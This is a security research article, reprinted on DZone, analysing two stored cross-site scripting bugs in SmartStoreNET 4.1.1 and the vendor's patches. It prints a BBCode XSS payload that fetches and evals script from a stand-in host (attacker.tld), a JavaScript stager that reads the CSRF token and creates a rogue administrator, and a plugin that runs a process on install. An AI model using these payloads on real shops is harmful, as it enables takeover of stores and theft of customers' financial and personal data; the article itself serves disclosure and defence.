DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Over 2 million developers have joined DZone.
Log In / Join
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Zones

Culture and Methodologies Agile Career Development Methodologies Team Management
Data Engineering AI/ML Big Data Data Databases IoT
Software Design and Architecture Cloud Architecture Containers Integration Microservices Performance Security
Coding Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks
Culture and Methodologies
Agile Career Development Methodologies Team Management
Data Engineering
AI/ML Big Data Data Databases IoT
Software Design and Architecture
Cloud Architecture Containers Integration Microservices Performance Security
Coding
Frameworks Java JavaScript Languages Tools
Testing, Deployment, and Maintenance
Deployment DevOps and CI/CD Maintenance Monitoring and Observability Testing, Tools, and Frameworks

Modernize your data layer. Learn how to design cloud-native database architectures to meet the evolving demands of AI and GenAI workkloads.

Secure your stack and shape the future! Help dev teams across the globe navigate their software supply chain security challenges.

Releasing software shouldn't be stressful or risky. Learn how to leverage progressive delivery techniques to ensure safer deployments.

Avoid machine learning mistakes and boost model performance! Discover key ML patterns, anti-patterns, data strategies, and more.

Related

  • Enhancing Security in JavaScript
  • Kubernetes Ephemeral Containers: Enhancing Security and Streamlining Troubleshooting in Production Clusters
  • How to Fix the OWASP Top 10 Vulnerability in Angular 18.1.1v
  • Securing the Digital Frontline: Advanced Cybersecurity Strategies for Modern Web Development

Trending

  • Medallion Architecture: Why You Need It and How To Implement It With ClickHouse
  • Unlocking the Potential of Apache Iceberg: A Comprehensive Analysis
  • Beyond ChatGPT, AI Reasoning 2.0: Engineering AI Models With Human-Like Reasoning
  • Issue and Present Verifiable Credentials With Spring Boot and Android
  1. DZone
  2. Testing, Deployment, and Maintenance
  3. Maintenance
  4. SmartStoreNET: Malicious Message Leading To E-Commerce Takeover

SmartStoreNET: Malicious Message Leading To E-Commerce Takeover

In this article, Sonar's research and development team presents the root cause analysis of two Cross-Site Scripting bugs.

By 
Thomas Chauchefoin user avatar
Thomas Chauchefoin
·
Apr. 25, 23 · Tutorial
Likes (1)
Comment
Save
Tweet
Share
2.6K Views

Join the DZone community and get the full member experience.

Join For Free

SmartStoreNET is the leading open-source e-commerce platform for .NET, which makes it suitable for companies running Windows Server. Next to the operation of an online business, it offers advanced features, such as CRM tools, a blog, and a forum. As a result, a SmartStoreNET instance handles highly sensitive data such as credit card, financial, and personally identifiable information that have to be protected from attackers. 

During recent security research, my team and I discovered two vulnerabilities that could allow attackers to gain control of the server where SmartStoreNET is installed by sending one malicious message to the instance's administrator. In this article, I present the root cause analysis of two Cross-Site Scripting bugs and then describe how they could be exploited by attackers. Finally, I will describe the patches applied by the maintainers and the limitations of those patches.

Impact

My findings, CVE-2021-32607 and CVE-2021-32608, impact the latest release of SmartStoreNET, 4.1.1. The maintainers released security patches as commits on GitHub. However, they decided not to release a new version with the patches; you have to build the project yourself to secure your instance. These are Cross-Site Scripting vulnerabilities that allow attackers to perform actions with the victim’s set of privileges without their knowledge. A successful attack against an administrator can lead to the compromise of the e-commerce store and the interception of financial transactions and personal data.

Their exploitation requires a victim to read either a malicious forum post or a private message specially crafted by the attacker. 

Technical Details

In this section, I describe both the root cause of the Cross-Site Scripting vulnerabilities my team and I identified and how they can be leveraged to gain Arbitrary Code Execution by targeting an administrator.

The high-level idea behind these bugs is that developers correctly sanitize user-controlled data but later apply further processing steps, thus voiding the security guarantees of the first sanitization pass, with potentially dangerous results. Simon Scannell, a member of the SonarSource R&D team, presented this code pattern at Hacktivity 2021.

Stored Cross-Site Scripting (CVE-2021-32607, CVE-2021-32608)

SmartStore comes with a public forum where all registered members can exchange posts and private messages. In these texts, users can use basic BBcode markup to add limited styling to their messages. The BBcode is translated by SmartStore.Core.Html.BBCodeHelper (src/Libraries/SmartStore.Core/Html/BBCodeHelper.cs) using regular expressions. For instance, this helper is called in SmartStore.Services.Forums.ForumExtensions (src/Libraries/SmartStore.Services/Forums/ForumExtensions.cs), after processing a user message:

C#
 
public static string FormatPrivateMessageText(this PrivateMessage message)
{
   // [...]
   var text = message.Text;
   // [...]
   text = HtmlUtils.ConvertPlainTextToHtml(text.HtmlEncode());
   return BBCodeHelper.ToHtml(text);
}


The call to HtmlEncode() is only a wrapper around System.Web.HttpUtility.HtmlEncode(). The intent is to encode dangerous characters to their equivalent HTML entities to prevent parts of user messages from being interpreted as HTML tags. For example, < will be encoded as &lt;.   HtmlUtils.ConvertPlainTextToHtml() is not tasked with any security-sensitive operations; it only replaces spaces and new lines to keep formatting intact. 

Notice that during the BBCode processing, the tags with arguments ([url=...][/url], at [1]) will be processed before the ones without arguments ([url][/url], at [2]):

C#
 
private static readonly Regex regexUrl1 = new Regex(@"\[url\=([^\]]+)\]([^\]]+)\[/url\]", RegexOptions.Compiled | RegexOptions.IgnoreCase);
private static readonly Regex regexUrl2 = new Regex(@"\[url\](.+?)\[/url\]", RegexOptions.Compiled | RegexOptions.IgnoreCase);
// [...]
if (replaceUrl)
{
   // format the url tags: [url=http://www.smartstore.com]my site[/url]
   // becomes: <a href="http://www.smartstore.com">my site</a>
   text = regexUrl1.Replace(text, "<a href=\"$1\" rel=\"nofollow\">$2</a>"); // [1]
 
   // format the url tags: [url]http://www.smartstore.com[/url]
   // becomes: <a href="http://www.smartstore.com">http://www.smartstore.com</a>
   text = regexUrl2.Replace(text, "<a href=\"$1\" rel=\"nofollow\">$1</a>"); // [2]
}


While users can’t use quotes to escape the href attribute because of prior encoding steps, using an URL tag with arguments within an URL tag without arguments will have an unexpected result. The following drawing shows the transformation of a message containing tangled [url] BBCode tags:

the transformation of a message containing tangled [url] BBCode tags

When applying the second replacement, the non-encoded quotes created by the first step will close the href attribute of the second regex pass. Once processed by the browser, the final DOM will look like this — notice the presence of new, user-controlled attributes in the first <a> tag:

This behavior is enough to add arbitrary attributes to the first <a> tag, leading to persistent Cross-Site Scripting through forum posts and private messages. This bug is a perfect example of the sanitize-then-transform pattern and is very similar to other bugs I discussed in previous articles (Zimbra 8.8.15 - Webmail Compromise via Email, MyBB Remote Code Execution Chain ).

Crafting a Code Execution Chain

Cross-Site Scripting vulnerabilities are very powerful because they allow attackers to perform actions with the victim’s set of privileges. The persistent nature of these bugs makes it easier for the attacker to compel the victim's interaction: who wouldn’t read a private message on a platform they administer? 

I chose to demonstrate the potential impact of my findings by crafting a payload that would force the creation of a new administrator as soon as the victim opens a private message and without further interaction. This malicious new user will then be able to use the plugins page to upload a malicious NuGet package (*.nupkg) on the server to execute arbitrary code.

The vulnerable BBCode parsing is performed on both private messages and forum posts. The following sections will focus on a scenario where only private messages are mentioned, but the exploitation process is similar for both.

Creating the Cross-Site Scripting Payload

As previously demonstrated, I am limited to adding new attributes to an <a> tag and can’t create new ones because of the various encoding stages. This limit on the usable character set will also require a stager: a deliberately small payload that will fetch and execute a larger one. 

So, how can I make this payload fire as soon as the private message is rendered? I chose to use the fact that several CSS animations are implemented in the third-party library Font Awesome, which is already loaded by SmartStoreNET. By associating an animation to the <a> element I injected and creating an onwebkitanimationend attribute, it will be executed without user interaction. 

The final payload is the following:

HTML
 
[url] [url=style=animation-name:fa-spin; onwebkitanimationend=$.get(`http://attacker.tld/x.js`,function(_){eval(_)}) x=] [/url] [/url]


Then, automatically creating an administrator is a pure front-end development task: the attacker only needs to fetch the CSRF token and then perform the POST request to the endpoint /admin/customer/create: 

JavaScript
 
async function run()
{
   const customer_create_url = location.protocol + '//host.tld/admin/customer/create';
   let res = await fetch(customer_create_url, {credentials: 'include'});
   var parser = new DOMParser();
   var htmlDoc = parser.parseFromString(await res.text(), 'text/html');
   let csrf = htmlDoc.getElementsByName('__RequestVerificationToken');
   data = {
       save: 'save',
       __RequestVerificationToken: csrf[0].attributes.value.nodeValue,
       Id: 0,
       Username: 'evil_admin',
       Email: 'evil_admin@evil.tld',
       Password: 'evil_admin',
       Gender: 'M',
       FirstName: 'evil',
       LastName: 'evil',
       DateOfBirth: '5/1/2021',
       Company: 'evil',
       AdminComment: 'evil',
       SelectedCustomerRoleIds: 1,
       IsTaxExempt: false,
       Active: true,
       LoadedTabs: '#customer-edit-1'
   }
   let body = new URLSearchParams();
   Object.keys(data).map(k => body.append(k, data[k]));
   body.append('SelectedCustomerRoleIds', 3);
   let foo = await fetch(customer_create_url, {method: 'POST', body: body, credentials: 'include'});
}
 
run()


This payload can be hosted anywhere as long the right CORS headers are present in the response. 

Executing Arbitrary Code

SmartStoreNET can be extended with both official and third-party plugins. There is no “official” store for them and no mandatory code signing: users can craft malicious packages and upload them directly from the administration dashboard. 

Executing Arbitrary Code

In order to validate this idea and to try to emulate what attackers could realistically do, I crafted a SmartStoreNET plugin that would execute the command calc.exe during the installation process. I then compiled it with the right .NET target and packaged it with SmartStoreNET’s tools.
C#
 
using SmartStore.Core.Plugins;
// [...]
namespace SmartStore.Evil
{
   public class Evil : BasePlugin
   {
       // [...]
       public static string SystemName => "SmartStore.Evil";
       // [...]
       public override void Install()
       {
           System.Diagnostics.Process p = System.Diagnostics.Process.Start("calc.exe");
           p.WaitForInputIdle();
           base.Install();
       }
       // [...]
   }
}


This grants attackers arbitrary code execution with the privileges of the user running IIS. 

Patch

SmartStoreNET mitigated the two vulnerabilities by introducing a new round of sanitization at the very end of the processing chain. It is performed by the third-party library mganss/HtmlSanitizer. 

  • CVE-2021-32607: the Message attribute of private messages is now sanitized (3db1fae3)
diff
 
--- a/src/Presentation/SmartStore.Web/Views/PrivateMessages/View.cshtml
+++ b/src/Presentation/SmartStore.Web/Views/PrivateMessages/View.cshtml
@@ -1,5 +1,6 @@
@model PrivateMessageModel
@using SmartStore.Web.Models.PrivateMessages;
+@using SmartStore.Core.Html;
@{
    Layout = "_Layout";
    Html.AddTitleParts(T("PageTitle.ViewPM").Text);
@@ -28,7 +29,7 @@
            <div class="col-sm-9">
                <div class="card">
                    <div class="card-body" dir="auto">
-                        @Html.Raw(Model.Message)
+                        @Html.Raw(HtmlUtils.SanitizeHtml(Model.Message, true))
                    </div>
                </div>
            </div>


  • CVE-2021-32608: the FormattedText attribute of forum posts is now sanitized (e076c20f)
diff
 
--- a/src/Presentation/SmartStore.Web/Views/Boards/Partials/_ForumPost.cshtml
+++ b/src/Presentation/SmartStore.Web/Views/Boards/Partials/_ForumPost.cshtml
@@ -1,4 +1,6 @@
@using SmartStore.Web.Models.Boards;
+@using SmartStore.Core.Html;
+
@model ForumPostModel
@Html.Raw("<a name=\"{0}\"></a>".FormatInvariant(Model.Id))
[...]
            <div class="post-body">
                <div class="posttext" dir="auto">
-                    @Html.Raw(Model.FormattedText)
+                    @Html.Raw(HtmlUtils.SanitizeHtml(Model.FormattedText))
                </div>
                @Html.Hidden("Id", Model.Id)
            </div>


It is interesting to note that the dangerous sanitize-then-transform pattern is still used. My team and I were not able to identify other features that would be vulnerable, but future changes could easily re-introduce similar bugs.

Timeline

DATE ACTION
2021-05-11 I report both bugs to the vendor.
2021-05-12 The vendor confirms the bugs, and releases patches on GitHub.
2021-08-21 The vendor states that they do not plan to release a new version that would include fixes for my findings for now.

Summary

In this article, I described two Cross-Site Scripting bugs in SmartStoreNET 4.1.1 and how they could be turned into the execution of arbitrary code if an administrative user is targeted. I also explained how to exploit such bugs without user interaction by using code already loaded in the application. Finally, I described the mitigations implemented by the maintainers and their limitations.

My team and I would like to thank the SmartStoreNET maintainers for their cooperation and very quick fixes. Since the vendor told us there is no planned release, I strongly advise administrators to build it from the source to benefit from the latest security fixes.

security Debug (command) Cross Site Scripting

Published at DZone with permission of Thomas Chauchefoin. See the original article here.

Opinions expressed by DZone contributors are their own.

Related

  • Enhancing Security in JavaScript
  • Kubernetes Ephemeral Containers: Enhancing Security and Streamlining Troubleshooting in Production Clusters
  • How to Fix the OWASP Top 10 Vulnerability in Angular 18.1.1v
  • Securing the Digital Frontline: Advanced Cybersecurity Strategies for Modern Web Development

Partner Resources

×

Comments

The likes didn't load as expected. Please refresh the page and try again.

ABOUT US

  • About DZone
  • Support and feedback
  • Community research
  • Sitemap

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 100
  • Nashville, TN 37211
  • support@dzone.com

Let's be friends: